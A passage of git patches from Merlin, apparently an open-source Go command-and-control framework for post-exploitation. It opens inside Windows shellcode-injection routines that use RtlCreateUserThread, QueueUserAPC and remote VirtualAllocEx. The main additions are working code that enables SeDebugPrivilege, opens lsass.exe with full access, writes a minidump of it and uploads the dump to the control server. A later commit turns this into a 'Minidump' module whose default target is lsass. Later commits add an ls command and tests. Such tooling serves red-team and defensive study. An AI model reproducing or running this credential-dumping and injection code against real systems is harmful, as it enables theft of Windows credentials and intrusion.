- NTSTATUS - RtlCreateUserThread( - IN HANDLE Process, - IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL, - IN BOOLEAN CreateSuspended, - IN ULONG ZeroBits OPTIONAL, - IN SIZE_T MaximumStackSize OPTIONAL, - IN SIZE_T CommittedStackSize OPTIONAL, - IN PUSER_THREAD_START_ROUTINE StartAddress, - IN PVOID Parameter OPTIONAL, - OUT PHANDLE Thread OPTIONAL, - OUT PCLIENT_ID ClientId OPTIONAL - ) - */ + NTSTATUS + RtlCreateUserThread( + IN HANDLE Process, + IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL, + IN BOOLEAN CreateSuspended, + IN ULONG ZeroBits OPTIONAL, + IN SIZE_T MaximumStackSize OPTIONAL, + IN SIZE_T CommittedStackSize OPTIONAL, + IN PUSER_THREAD_START_ROUTINE StartAddress, + IN PVOID Parameter OPTIONAL, + OUT PHANDLE Thread OPTIONAL, + OUT PCLIENT_ID ClientId OPTIONAL + ) + */ var tHandle uintptr - _, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0) - + _, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0) if errRtlCreateUserThread.Error() != "The operation completed successfully." { return errors.New("Error calling RtlCreateUserThread:\r\n" + errRtlCreateUserThread.Error()) @@ -283,14 +284,14 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } // TODO see if you can use just SNAPTHREAD sHandle, _, errCreateToolhelp32Snapshot := CreateToolhelp32Snapshot.Call(TH32CS_SNAPHEAPLIST|TH32CS_SNAPMODULE|TH32CS_SNAPPROCESS|TH32CS_SNAPTHREAD, uintptr(pid)) - if errCreateToolhelp32Snapshot.Error() != "The operation completed successfully."{ + if errCreateToolhelp32Snapshot.Error() != "The operation completed successfully." { return errors.New("Error calling CreateToolhelp32Snapshot:\r\n" + errCreateToolhelp32Snapshot.Error()) } // TODO don't allocate/write memory unless there is a valid thread - addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle),0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) - if errVirtualAlloc.Error() != "The operation completed successfully." { + if errVirtualAlloc.Error() != "The operation completed successfully." { return errors.New("Error calling VirtualAlloc:\r\n" + errVirtualAlloc.Error()) } @@ -310,19 +311,19 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } type THREADENTRY32 struct { - dwSize uint32 - cntUsage uint32 - th32ThreadID uint32 - th32OwnerProcessID uint32 - tpBasePri int32 - tpDeltaPri int32 - dwFlags uint32 + dwSize uint32 + cntUsage uint32 + th32ThreadID uint32 + th32OwnerProcessID uint32 + tpBasePri int32 + tpDeltaPri int32 + dwFlags uint32 } var t THREADENTRY32 t.dwSize = uint32(unsafe.Sizeof(t)) _, _, errThread32First := Thread32First.Call(uintptr(sHandle), uintptr(unsafe.Pointer(&t))) - if errThread32First.Error() != "The operation completed successfully."{ + if errThread32First.Error() != "The operation completed successfully." { return errors.New("Error calling Thread32First:\r\n" + errThread32First.Error()) } i := true @@ -357,7 +358,9 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { if errCloseHandle.Error() != "The operation completed successfully." { return errors.New("Error calling thread CloseHandle:\r\n" + errCloseHandle.Error()) } - } else {x++} + } else { + x++ + } } } @@ -369,4 +372,159 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { return nil } -// TODO always close handle during exception handling \ No newline at end of file + +// TODO always close handle during exception handling + +// dumpLsass will attempt to perform a minidumpwritedump operation on lsass.exe, and returns the raw bytes of the dumpfile +func dumpLsass() ([]byte, error) { + + ret := []byte{} + + //get debug privs + + err := sePrivEnable("SeDebugPrivilege") + if err != nil { + return ret, err + } + /* + BOOL MiniDumpWriteDump( + HANDLE hProcess, + DWORD ProcessId, + HANDLE hFile, + MINIDUMP_TYPE DumpType, + PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, + PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, + PMINIDUMP_CALLBACK_INFORMATION CallbackParam + ); + */ + //load up our minidump function + k32 := syscall.NewLazyDLL("Dbgcore.dll") + m := k32.NewProc("MiniDumpWriteDump") + + //set up the tempfile to write to, automatically remove it once done + // TODO: Work out how to do this in memory + f, e := ioutil.TempFile(os.TempDir(), "") + if e != nil { + return ret, e + } + defer os.Remove(f.Name()) + stdOutHandle := f.Fd() + + //get our proc ID, and get a handle to the process + pid := getProcID("lsass.exe") + hProc, err := syscall.OpenProcess(0x1F0FFF, false, pid) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) + if err != nil { + return ret, err + } + + // calls the minidump function + r, _, _ := m.Call(uintptr(hProc), uintptr(pid), stdOutHandle, 3, 0, 0, 0) + + f.Close() //idk why this fixes the 'not same as on disk' issue, but it does + + if r != 0 { + ret, err = ioutil.ReadFile(f.Name()) + if err != nil { + return ret, err + } + } + + return ret, nil +} + +//getProcID returns the PID of the provided process name (eg lsass.exe). PID of < 1 indicates didn't find the process. +func getProcID(procname string) uint32 { + //https://github.com/mitchellh/go-ps/blob/master/process_windows.go + + handle, err := syscall.CreateToolhelp32Snapshot( + 0x00000002, + 0) + if handle < 0 { + return 0 + } + defer syscall.CloseHandle(handle) + + var entry syscall.ProcessEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + err = syscall.Process32First(handle, &entry) + if err != nil { + fmt.Println(err) + return 0 + } + + for { + s := "" + for _, chr := range entry.ExeFile { + if chr != 0 { + s = s + string(int(chr)) + } + } + if s == procname { + return entry.ProcessID + } + err = syscall.Process32Next(handle, &entry) + if err != nil { + break + } + } + return 0 +} + +//sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege' +func sePrivEnable(s string) error { + type LUID struct { + LowPart uint32 + HighPart int32 + } + type LUID_AND_ATTRIBUTES struct { + Luid LUID + Attributes uint32 + } + type TOKEN_PRIVILEGES struct { + PrivilegeCount uint32 + Privileges [1]LUID_AND_ATTRIBUTES + } + + modadvapi32 := syscall.NewLazyDLL("advapi32.dll") + procAdjustTokenPrivileges := modadvapi32.NewProc("AdjustTokenPrivileges") + + procLookupPriv := modadvapi32.NewProc("LookupPrivilegeValueW") + var tokenHandle syscall.Token + thsHandle, err := syscall.GetCurrentProcess() + if err != nil { + return err + } + syscall.OpenProcessToken( + //r, a, e := procOpenProcessToken.Call( + thsHandle, // HANDLE ProcessHandle, + syscall.TOKEN_ADJUST_PRIVILEGES, // DWORD DesiredAccess, + &tokenHandle, // PHANDLE TokenHandle + ) + var luid LUID + r, _, e := procLookupPriv.Call( + uintptr(0), //LPCWSTR lpSystemName, + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(s))), //LPCWSTR lpName, + uintptr(unsafe.Pointer(&luid)), //PLUID lpLuid + ) + if r == 0 { + return e + } + SE_PRIVILEGE_ENABLED := uint32(0x00000002) + privs := TOKEN_PRIVILEGES{} + privs.PrivilegeCount = 1 + privs.Privileges[0].Luid = luid + privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED + //AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0) + r, _, e = procAdjustTokenPrivileges.Call( + uintptr(tokenHandle), + uintptr(0), + uintptr(unsafe.Pointer(&privs)), + uintptr(0), + uintptr(0), + uintptr(0), + ) + if r == 0 { + return e + } + return nil +} diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index a4fe54cc..23f72373 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -35,7 +35,7 @@ import ( // 3rd Party "github.com/fatih/color" "github.com/olekukonko/tablewriter" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" // Merlin "github.com/Ne0nd0g/merlin/pkg/core" @@ -525,6 +525,14 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { } k := marshalMessage(p) m.Payload = (*json.RawMessage)(&k) + case "lsassdump": + m.Type = "AgentControl" + p := messages.AgentControl{ + Command: job.Type, + Job: job.ID, + } + k := marshalMessage(p) + m.Payload = (*json.RawMessage)(&k) case "upload": m.Type = "FileTransfer" // TODO add error handling; check 2 args (src, dst) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index fb0ffd05..c00d89c3 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -36,10 +36,10 @@ import ( "github.com/fatih/color" "github.com/mattn/go-shellwords" "github.com/olekukonko/tablewriter" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" // Merlin - "github.com/Ne0nd0g/merlin/pkg" + merlin "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/banner" "github.com/Ne0nd0g/merlin/pkg/core" @@ -360,6 +360,15 @@ func Shell() { message("warn", fmt.Sprintf("Invalid shellcode execution method: %s", cmd[1])) } } + case "lsassdump": + m, err := agents.AddJob(shellAgent, "lsassdump", []string{}) + if err != nil { + message("warn", err.Error()) + break + } else { + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) + } case "exit": exit() case "help": @@ -661,6 +670,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { ), readline.PcItem("status"), readline.PcItem("upload"), + readline.PcItem("lsassdump"), ) switch completer { From df5f318f88c35302047ffbebfd1a6418cba085ff Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sun, 3 Feb 2019 12:29:30 +0800 Subject: [PATCH 026/112] move to module, add stub to non-windows exec, add ability to specify process, read data before parsing as json on server --- data/modules/windows/x64/go/minidump.json | 22 +++++++++ pkg/agent/agent.go | 54 ++++++++++++++++++----- pkg/agent/exec.go | 6 ++- pkg/agent/exec_windows.go | 19 ++++---- pkg/agents/agents.go | 8 ++-- pkg/cli/cli.go | 30 ++++++------- pkg/messages/messages.go | 10 ++++- pkg/servers/http2/http2.go | 14 +++++- 8 files changed, 120 insertions(+), 43 deletions(-) create mode 100644 data/modules/windows/x64/go/minidump.json diff --git a/data/modules/windows/x64/go/minidump.json b/data/modules/windows/x64/go/minidump.json new file mode 100644 index 00000000..5933acf3 --- /dev/null +++ b/data/modules/windows/x64/go/minidump.json @@ -0,0 +1,22 @@ +{ + "base": { + "name": "Minidump", + "type": "standard", + "author": ["Cameron Stokes (@C__Sto)"], + "credits": [""], + "path": [""], + "platform": "WINDOWS", + "arch": "x64", + "lang": "Go", + "privilege": true, + "remote": "", + "local": [""], + "options": [ + {"name": "Process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."}, + {"name": "PID", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set."} + ], + "description": "Calls minidump on the provided process, dumps out to a temporary file and uploads the minidump file to the server.", + "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory.", + "commands": ["Minidump", "{{Process}}", "{{PID}}"] + } +} \ No newline at end of file diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9df18c13..296374c0 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -36,6 +36,7 @@ import ( "path/filepath" "runtime" "strconv" + "strings" "time" // 3rd Party @@ -549,28 +550,49 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { message("note", "Received Server OK, doing nothing") } - case "AgentControl": + case "Module": if a.Verbose { - message("note", "Received Agent Control Message") + message("note", "Received Agent Module Directive") } - var p messages.AgentControl + var p messages.Module json.Unmarshal(payload, &p) - switch p.Command { - case "lsassdump": + case "Minidump": if a.Verbose { - message("note", "Received dump lsass request") + message("note", "Received Minidump request") } - //get lsass minidump - fileData, fileDataErr := dumpLsass() + //ensure the provided args are valid + if len(p.Args) < 1 { + //not enough args + message("warn", fmt.Sprintf("Not enough args were provided to dump a process")) + break + } + process := p.Args[0] //string TODO: do some validation here I guess + //clean the arg - for some reason spaces at the start? + process = strings.Trim(process, " ") + pid := uint32(0) + if len(p.Args) > 1 { + //clean the arg - for some reason spaces at the start? + p.Args[1] = strings.Trim(p.Args[1], " ") + pidInt, err := strconv.ParseInt(p.Args[1], 0, 32) + if err != nil { + //probably not well formatted number + message("warn", fmt.Sprintf("Could not parse pid value:"+p.Args[1])) + message("warn", fmt.Sprintf(err.Error())) + break + } + pid = uint32(pidInt) + } + //get minidump + fileData, fileDataErr := miniDump(process, pid) //copied and pasted from upload func, modified appropriately if fileDataErr != nil { if a.Verbose { - message("warn", fmt.Sprintf("There was an error dumping lsass")) + message("warn", fmt.Sprintf("There was an error dumping the process")) message("warn", fmt.Sprintf("%s", fileDataErr.Error())) } - errMessage := fmt.Sprintf("There was an error dumping lsass\r\n") + errMessage := fmt.Sprintf("There was an error dumping the process\r\n") errMessage += fileDataErr.Error() c := messages.CmdResults{ Job: p.Job, @@ -594,7 +616,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { fileHash.Sum(nil))) } c := messages.FileTransfer{ - FileLocation: "lsass.dmp", + FileLocation: process + ".dmp", FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)), IsDownload: true, Job: p.Job, @@ -614,6 +636,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", "There was an error sending the FileTransfer message to the server") message("warn", fmt.Sprintf("%s", respErr.Error())) } + break //resolves crash on error } if resp2.StatusCode != 200 { if a.Verbose { @@ -621,6 +644,15 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } } + } + case "AgentControl": + if a.Verbose { + message("note", "Received Agent Control Message") + } + var p messages.AgentControl + json.Unmarshal(payload, &p) + + switch p.Command { case "kill": if a.Verbose { message("note", "Received Agent Kill Message") diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index eb6c55ba..c43471f2 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -69,4 +69,8 @@ func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { // ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { return errors.New("shellcode execution is not implemented for this operating system") -} \ No newline at end of file +} + +func miniDump(process string, pid uint32) ([]byte, error) { + return []byte{}, errors.New("Minidump doesn't work on non-windows hosts.") +} diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index edfac436..2f34f204 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -375,13 +375,11 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // TODO always close handle during exception handling -// dumpLsass will attempt to perform a minidumpwritedump operation on lsass.exe, and returns the raw bytes of the dumpfile -func dumpLsass() ([]byte, error) { - +// miniDump will attempt to perform a minidumpwritedump operation on the provided process, and returns the raw bytes of the dumpfile back as an upload to the server. Touches disk during the dump process, however uses the OS default tempfile location +func miniDump(process string, pid uint32) ([]byte, error) { ret := []byte{} - //get debug privs - + //get debug privs (required for dumping processes not owned by current user) err := sePrivEnable("SeDebugPrivilege") if err != nil { return ret, err @@ -410,8 +408,13 @@ func dumpLsass() ([]byte, error) { defer os.Remove(f.Name()) stdOutHandle := f.Fd() - //get our proc ID, and get a handle to the process - pid := getProcID("lsass.exe") + //get our proc ID, and get a handle to the process. If PID is not provided, search for the PID + if pid <= 0 { + pid = getProcID(process) + } + if pid <= 0 { + return ret, errors.New("could not find the process") + } hProc, err := syscall.OpenProcess(0x1F0FFF, false, pid) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) if err != nil { return ret, err @@ -428,14 +431,12 @@ func dumpLsass() ([]byte, error) { return ret, err } } - return ret, nil } //getProcID returns the PID of the provided process name (eg lsass.exe). PID of < 1 indicates didn't find the process. func getProcID(procname string) uint32 { //https://github.com/mitchellh/go-ps/blob/master/process_windows.go - handle, err := syscall.CreateToolhelp32Snapshot( 0x00000002, 0) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 23f72373..4357306a 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -525,11 +525,13 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { } k := marshalMessage(p) m.Payload = (*json.RawMessage)(&k) - case "lsassdump": - m.Type = "AgentControl" - p := messages.AgentControl{ + case "Minidump": + fmt.Println("aaa", "minidump") + m.Type = "Module" + p := messages.Module{ Command: job.Type, Job: job.ID, + Args: job.Args, } k := marshalMessage(p) m.Payload = (*json.RawMessage)(&k) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index c00d89c3..601d01ba 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -174,18 +174,24 @@ func Shell() { case "reload": menuSetModule(strings.TrimSuffix(strings.Join(shellModule.Path, "/"), ".json")) case "run": + var m string r, err := shellModule.Run() if err != nil { message("warn", err.Error()) + break + } + if shellModule.Lang == "Go" { + m, err = agents.AddJob(shellModule.Agent, r[0], r[1:]) } else { - m, err := agents.AddJob(shellModule.Agent, "cmd", r) - if err != nil { - message("warn", err.Error()) - } else { - message("note", fmt.Sprintf("Created job %s for agent %s at %s", - m, shellModule.Agent, time.Now().UTC().Format(time.RFC3339))) - } + m, err = agents.AddJob(shellModule.Agent, "cmd", r) } + if err != nil { + message("warn", err.Error()) + } else { + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellModule.Agent, time.Now().UTC().Format(time.RFC3339))) + } + case "back": menuSetMain() case "main": @@ -360,15 +366,6 @@ func Shell() { message("warn", fmt.Sprintf("Invalid shellcode execution method: %s", cmd[1])) } } - case "lsassdump": - m, err := agents.AddJob(shellAgent, "lsassdump", []string{}) - if err != nil { - message("warn", err.Error()) - break - } else { - message("note", fmt.Sprintf("Created job %s for agent %s at %s", - m, shellAgent, time.Now().UTC().Format(time.RFC3339))) - } case "exit": exit() case "help": @@ -670,7 +667,6 @@ func getCompleter(completer string) *readline.PrefixCompleter { ), readline.PcItem("status"), readline.PcItem("upload"), - readline.PcItem("lsassdump"), ) switch completer { diff --git a/pkg/messages/messages.go b/pkg/messages/messages.go index 3eb4b22b..1402ab2e 100644 --- a/pkg/messages/messages.go +++ b/pkg/messages/messages.go @@ -18,7 +18,7 @@ package messages import ( - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" ) // Base is the base JSON Object for HTTP POST payloads @@ -92,3 +92,11 @@ type Shellcode struct { Job string `json:"job"` PID uint32 `json:"pid,omitempty"` // Process ID for remote injection } + +// Module is a JSON payload used to send module directives. +type Module struct { + Job string `json:"job"` + Command string `json:"command"` + Args []string `json:"args,omitempty"` + Result string `json:"result"` +} diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index ef56b6aa..884fd5e0 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -19,6 +19,7 @@ package http2 import ( // Standard + "bytes" "crypto/sha1" "crypto/tls" "crypto/x509" @@ -228,11 +229,22 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { j := messages.Base{ Payload: &payload, } - json.NewDecoder(r.Body).Decode(&j) + //reading the body before parsing json seems to resolve the receiving error on large bodies for some reason, unsure why + b, e := ioutil.ReadAll(r.Body) + if e != nil { + message("warn", e.Error()) + return + } + e = json.NewDecoder(bytes.NewReader(b)).Decode(&j) + if e != nil { + message("warn", e.Error()) + return + } if core.Debug { message("debug", fmt.Sprintf("[DEBUG]POST DATA: %s", j)) } + switch j.Type { case "InitialCheckIn": From 48cb7a8086125274eb0b2c826bf60786cca07c15 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Mon, 4 Feb 2019 21:27:40 -0500 Subject: [PATCH 027/112] adds parsing of dirs with spaces in names - renames FileIO message type to NativeCmd --- pkg/agent/agent.go | 4 ++-- pkg/agents/agents.go | 4 ++-- pkg/cli/cli.go | 16 ++++++++++++---- pkg/messages/messages.go | 4 ++-- 4 files changed, 18 insertions(+), 10 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9737c6dc..2e7f8e25 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -714,8 +714,8 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } } - case "FileIO": - var p messages.FileIO + case "NativeCmd": + var p messages.NativeCmd json.Unmarshal(payload, &p) switch p.Command { diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 513d9add..ba9c9a8c 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -477,8 +477,8 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { } case "ls": - m.Type = "FileIO" - p := messages.FileIO{ + m.Type = "NativeCmd" + p := messages.NativeCmd{ Job: job.ID, Command: job.Args[0], } diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 8dc60721..c7bf6cc4 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -380,13 +380,21 @@ func Shell() { } } case "ls": - m, err := agents.AddJob(shellAgent, "ls", cmd) - if err != nil { - message("warn", err.Error()) - break + var m string + if len(cmd) > 1 { + arg := strings.Join(cmd[1:], " ") + joinedArgs := []string{cmd[0], arg} + m, err = agents.AddJob(shellAgent, cmd[0], joinedArgs) + if err != nil { + message("warn", err.Error()) + break + } + } else { + m, err = agents.AddJob(shellAgent, cmd[0], cmd) } message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) + case "main": menuSetMain() case "quit": diff --git a/pkg/messages/messages.go b/pkg/messages/messages.go index 80864c4a..63d416d7 100644 --- a/pkg/messages/messages.go +++ b/pkg/messages/messages.go @@ -93,8 +93,8 @@ type Shellcode struct { PID uint32 `json:"pid,omitempty"` // Process ID for remote injection } -// FileIO is a JSON payload to send filesystem-related commands to the agent (ps, cd, cat, ls) -type FileIO struct { +// NativeCmd is a JSON payload to send filesystem-related commands to the agent (ps, cd, cat, ls) +type NativeCmd struct { Job string `json:"job"` Command string `json:"command"` Args string `json:"args,omitempty"` From 4dda4116365745c787bf4cc191de8adf2d8e9a01 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 5 Feb 2019 23:06:10 -0500 Subject: [PATCH 028/112] Updated argument processing to match other Merlin commands. Reworded some items. Returned after error. Added verbose/debug statements. --- docs/CHANGELOG.MD | 5 +++-- pkg/agent/agent.go | 13 ++++++++++++- pkg/cli/cli.go | 12 ++++++++---- pkg/messages/messages.go | 3 ++- 4 files changed, 25 insertions(+), 8 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 1bad1ac7..327c6e00 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,10 +4,11 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). -## 0.6.9 - 2019-01-28 +## 0.6.9 - 2019-XX-XX ### Added -- Adds `ls` as a capability so as to stay off the commandline. More to come. +- Added `ls` command to agent & agent menu. Uses go code native to Merlin instead of executing `ls` or `dir` binary +- New `NativeCmd` message struct for commands native to Merlin ## 0.6.8 - 2019-01-26 diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 2e7f8e25..10548f9c 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -966,7 +966,18 @@ func (a *Agent) agentInfo(host string, client *http.Client) { } func (a *Agent) list(path string) (string, error) { + if a.Debug { + message("debug", fmt.Sprintf("Received input parameter for list command function: %s", path)) + + } else if a.Verbose { + message("success", fmt.Sprintf("listing directory contents for: %s", path)) + } files, err := ioutil.ReadDir(path) + + if err != nil { + return "", err + } + details := "" for _, f := range files { @@ -976,7 +987,7 @@ func (a *Agent) list(path string) (string, error) { name := f.Name() details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n" } - return details, err + return details, nil } // TODO Make a generic function to send a JSON message; Keep basic so protocols can be switched (i.e. DNS) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index c7bf6cc4..2ab49a00 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -382,9 +382,13 @@ func Shell() { case "ls": var m string if len(cmd) > 1 { - arg := strings.Join(cmd[1:], " ") - joinedArgs := []string{cmd[0], arg} - m, err = agents.AddJob(shellAgent, cmd[0], joinedArgs) + arg := strings.Join(cmd[0:], " ") + argS, errS := shellwords.Parse(arg) + if errS != nil { + message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + break + } + m, err = agents.AddJob(shellAgent, "ls", argS) if err != nil { message("warn", err.Error()) break @@ -760,7 +764,7 @@ func menuHelpAgent() { {"execute-shellcode", "Execute shellcode", "self, remote"}, {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, - {"ls", "List the contents of the current working directory", ""}, + {"ls", "List directory contents", "ls /etc"}, {"main", "Return to the main menu", ""}, {"set", "Set the value for one of the agent's options", "maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, diff --git a/pkg/messages/messages.go b/pkg/messages/messages.go index 63d416d7..cfe7d305 100644 --- a/pkg/messages/messages.go +++ b/pkg/messages/messages.go @@ -93,7 +93,8 @@ type Shellcode struct { PID uint32 `json:"pid,omitempty"` // Process ID for remote injection } -// NativeCmd is a JSON payload to send filesystem-related commands to the agent (ps, cd, cat, ls) +// NativeCmd is a JSON payload to execute commands native inside of Merlin using go instead of executing the binary +// program on the host (i.e. ls) type NativeCmd struct { Job string `json:"job"` Command string `json:"command"` From c9d3cc3de1d7dc86b25868c900e3170c0976b977 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Wed, 6 Feb 2019 07:14:25 -0500 Subject: [PATCH 029/112] Removed aliases for project wide consistency. --- pkg/agent/agent.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index ce280ee1..4b29b3f0 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -39,13 +39,13 @@ import ( // 3rd Party "github.com/fatih/color" - quic "github.com/lucas-clemente/quic-go" + "github.com/lucas-clemente/quic-go" "github.com/lucas-clemente/quic-go/h2quic" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" "golang.org/x/net/http2" // Merlin - merlin "github.com/Ne0nd0g/merlin/pkg" + "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/messages" ) From a084d2f428a885a219468dea5a6777c6e0b61dfd Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Wed, 6 Feb 2019 23:37:33 -0500 Subject: [PATCH 030/112] Normalized text for consistency. Created /test directory and move testServer. Handled some errors in testServer. --- docs/CHANGELOG.MD | 1 + pkg/agent/agent_test.go | 19 +++++++++++-------- {pkg/agent => test}/testServer/main.go | 22 ++++++++++++++++------ 3 files changed, 28 insertions(+), 14 deletions(-) rename {pkg/agent => test}/testServer/main.go (86%) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 327c6e00..031553b9 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -9,6 +9,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ### Added - Added `ls` command to agent & agent menu. Uses go code native to Merlin instead of executing `ls` or `dir` binary - New `NativeCmd` message struct for commands native to Merlin +- [Pull 49](https://github.com/Ne0nd0g/merlin/pull/4) - Added tests for agent package and new `/test` directory for test HTTP server ## 0.6.8 - 2019-01-26 diff --git a/pkg/agent/agent_test.go b/pkg/agent/agent_test.go index ea96cc84..f39d4b73 100644 --- a/pkg/agent/agent_test.go +++ b/pkg/agent/agent_test.go @@ -1,22 +1,25 @@ package agent import ( + // Standard "testing" "time" - uuid "github.com/satori/go.uuid" + // 3rd Party + "github.com/satori/go.uuid" - testserver "github.com/Ne0nd0g/merlin/pkg/agent/testServer" //uncomment when working etc + // Merlin + "github.com/Ne0nd0g/merlin/test/testServer" ) func getTestAgent(proto string) Agent { //creates a reproducible agent to ensure no jiggery pokery during generation a := Agent{ - Platform: "testplatform", //runtime.GOOS, - Architecture: "testarch", //runtime.GOARCH, - Pid: 1337, //os.Getpid(), - Version: "testmerlinversion", //merlin.Version, + Platform: "linux", //runtime.GOOS, + Architecture: "amd64", //runtime.GOARCH, + Pid: 1337, //os.Getpid(), + Version: "0.0.0", //merlin.Version, WaitTime: 300 * time.Millisecond, PaddingMax: 4096, MaxRetry: 2, @@ -61,7 +64,7 @@ func TestInitialh2(t *testing.T) { go testserver.TestServer{}.Start(port, ended, setup, t) //wait until set up <-setup - //~~~~ the above can proabbly be copied into each test function + //~~~~ the above can probably be copied into each test function //do the test stuff @@ -102,7 +105,7 @@ func TestBrokenJson(t *testing.T) { go testserver.TestServer{}.Start(port, ended, setup, t) //wait until set up <-setup - //~~~~ the above can proabbly be copied into each test function + //~~~~ the above can probably be copied into each test function a.UserAgent = "BrokenJSON" //signal to the test server to send broken json diff --git a/pkg/agent/testServer/main.go b/test/testServer/main.go similarity index 86% 